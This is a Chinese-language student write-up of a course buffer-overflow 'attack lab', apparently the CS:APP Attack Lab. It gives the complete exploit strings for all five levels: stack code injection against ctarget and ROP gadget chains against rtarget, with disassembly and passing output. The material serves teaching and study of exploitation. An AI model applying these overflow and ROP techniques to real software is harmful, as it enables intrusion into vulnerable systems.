实验方法
gdb调试,gcc编译为目标文件,objdump反汇编工具,hex2raw 字符串转16进制数工具
实验结果
5关卡全通,100分。
详细过程
Level 1
这是你入侵的代码段,Gets()会从buf读入一段字符串。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
目标是返回getbuf函数后跳到touch1函数:
void touch1()
{
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
getbuf()反汇编代码段如下:
000000000040181e <getbuf>:
40181e: 48 83 ec 18 sub $0x18,%rsp
401822: 48 89 e7 mov %rsp,%rdi
401825: e8 30 02 00 00 callq 401a5a <Gets>
40182a: b8 01 00 00 00 mov $0x1,%eax
40182f: 48 83 c4 18 add $0x18,%rsp
401833: c3 retq
由上知BUFFER_SIZE=24,没有%rbp,故需输入28(或32,后面4字节都是0)字节的字符串.
0000000000401834 <touch1>:
由汇编代码知touch1地址0x401834,通过hex2raw输入字符串:
[2017201975@worker2 target183]$ ./hex2raw > raw.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 18 40 00
[2017201975@worker2 target183]$ ./ctarget < raw.txt
Cookie: 0x3611a973
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
Level 2
这次要进入touch2(),而且要求传入参数val=你的cookie.
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
方法在于:输入字符串有一段机器码,getbuf()函数ret时直接跳到这段机器码开始执行,执行完后再跳到touch2()函数.
需要的汇编代码:
work:
mov $0x3611a973, %rdi
pushq $0x401860
ret
编译->反汇编后如下:
0000000000000000 <work>:
0: 48 c7 c7 73 a9 11 36 mov $0x3611a973,%rdi
7: 68 60 18 40 00 pushq $0x401860
c: c3 retq
故注入代码如下:
[2017201975@worker2 target183]$ ./hex2raw > raw2.txt
48 c7 c7 73 a9 11 36 68 60 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 48 56 64 55
其中0x3611a973为cookie;0x55645648为%rsp地址(%rip跳转到48 c7 c7...开始);0x401860为touch2地址.
[2017201975@worker2 target183]$ ./ctarget < raw2.txt
Cookie: 0x3611a973
Type string:Touch2!: You called touch2(0x3611a973)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
Level 3
这次要进入touch3(char* s),touch3会调用函数hexmatch(), 将cookie转成的8位字符串同你的char*对应串比较,相等才算成功。
这里有一个track:如果把cookie串在Gets()时读入栈,调用hexmatch()函数时会开新栈把原有的cookie覆盖掉。所以为了方便,把cookie串放在test()函数对应的栈区的位置(也就是ret Address再往高处的位置)。
可以发现0x55645670有一段12字节区域为空,直接覆盖。
汇编再反汇编:
0000000000000000 <work>:
0: 48 c7 c7 70 56 64 55 mov $0x55645670,%rdi
7: 68 34 19 40 00 pushq $0x401934
c: c3 retq
[2017201975@worker2 target183]$ ./hex2raw > raw3.txt
48 c7 c7 70 56 64 55 68 34 19 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 48 56 64 55 00 00 00 00 00 00 00 00 b3 1e 40 00 33 36 31 31 61 39 37 33
[2017201975@worker2 target183]$ vim raw3.txt
[2017201975@worker2 target183]$ ./ctarget < raw3.txt
Cookie: 0x3611a973
Type string:Touch3!: You called touch3("3611a973")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
Level 4
这次不能在栈运行代码了,所以要实行ROP攻击,即从源程序各个部分拿一段自己需要的机器码,每一个函数的一段机器码最后有一个ret(机器码0xc3),此时pop %rsp, %rip移动到下一段函数机器码。
任务和Level 2一致,要将%rdi <- cookie.
在start_farm()和mid_farm()之间找到如下两段:
00000000004019d7 <setval_232>:
4019d7: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019dd: c3 retq
00000000004019de <getval_414>:
4019de: b8 58 90 90 90 mov $0x90909058,%eax
4019e3: c3 retq
第一段中"48 89 c7"="mov %rax %rdi", 第二段"58"="popq %rax", 0x90表示nop不用管。
于是只要在ret Address开始依次插入0x4019df, cookie的值, 0x4019d9, touch2的地址即可(注意是8位.)
[2017201975@worker2 target183]$ ./hex2raw > raw4.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df 19 40 00 00 00 00 00 73 a9 11 36 00 00 00 00 d9 19 40 00 00 00 00 00 60 18 40 00 00 00 00 00
[2017201975@worker2 target183]$ vim raw4.txt
[2017201975@worker2 target183]$ ./rtarget < raw4.txt
Cookie: 0x3611a973
Type string:Touch2!: You called touch2(0x3611a973)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
Level 5
与Level 3类似,使用ROP攻击进入touch3(char*),使得传入的指针对应8位字符串与cookie相等。
一个类似的做法是:在exploit string中注入cookie,传入它的地址,但由于程序使用了地址随机化,只能算出一个相对值,用相对值推绝对值。
方法:用%rdi存储%rsp的值,用%rsi存储相对值(这里依据注入字符串长度为0x48,用popq操作读取),调用farm中一个函数add_xy(long x, long y),它将%rdi + %rsi -> %rax, 最后把%rax -> %rdi即可,最后存touch3的地址和cookie.
在farm中寻找相应的代码如下:
;48 89 e0 => movq %rsp, %rax
0000000000401a60 <getval_229>:
401a60: b8 48 89 e0 c3 mov $0xc3e08948,%eax
401a65: c3 retq
;48 89 c7 => movq %rax, %rdi
00000000004019d7 <setval_232>:
4019d7: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019dd: c3 retq
;58 => popq %rax
00000000004019de <getval_414>:
4019de: b8 58 90 90 90 mov $0x90909058,%eax
4019e3: c3 retq
;89 c1 (20 c0) => movl %eax, %ecx (andb %al, %al)
0000000000401a59 <addval_358>:
401a59: 8d 87 89 c1 20 c0 lea -0x3fdf3e77(%rdi),%eax
401a5f: c3 retq
;89 ca (20 c9) => movl %ecx, %edx (andb %cl, %cl)
0000000000401aa2 <getval_150>:
401aa2: b8 89 ca 20 c9 mov $0xc920ca89,%eax
401aa7: c3 retq
;89 d6 (08 db) => movl %edx, %esi (orb %bl, %bl)
0000000000401a10 <setval_224>:
401a10: c7 07 89 d6 08 db movl $0xdb08d689,(%rdi)
401a16: c3 retq
00000000004019fe <add_xy>:
4019fe: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401a02: c3 retq
按上面方法构建字符串,提交:
[2017201975@worker2 target183]$ ./hex2raw > raw5.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 1a 40 00 00 00 00 00 d9 19 40 00 00 00 00 00 df 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 5b 1a 40 00 00 00 00 00 a3 1a 40 00 00 00 00 00 12 1a 40 00 00 00 00 00 fe 19 40 00 00 00 00 00 d9 19 40 00 00 00 00 00 34 19 40 00 00 00 00 00 33 36 31 31 61 39 37 33
[2017201975@worker2 target183]$ vim raw5.txt
[2017201975@worker2 target183]$ ./rtarget < raw5.txt
Cookie: 0x3611a973
Type string:Touch3!: You called touch3("3611a973")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!




Comments | NOTHING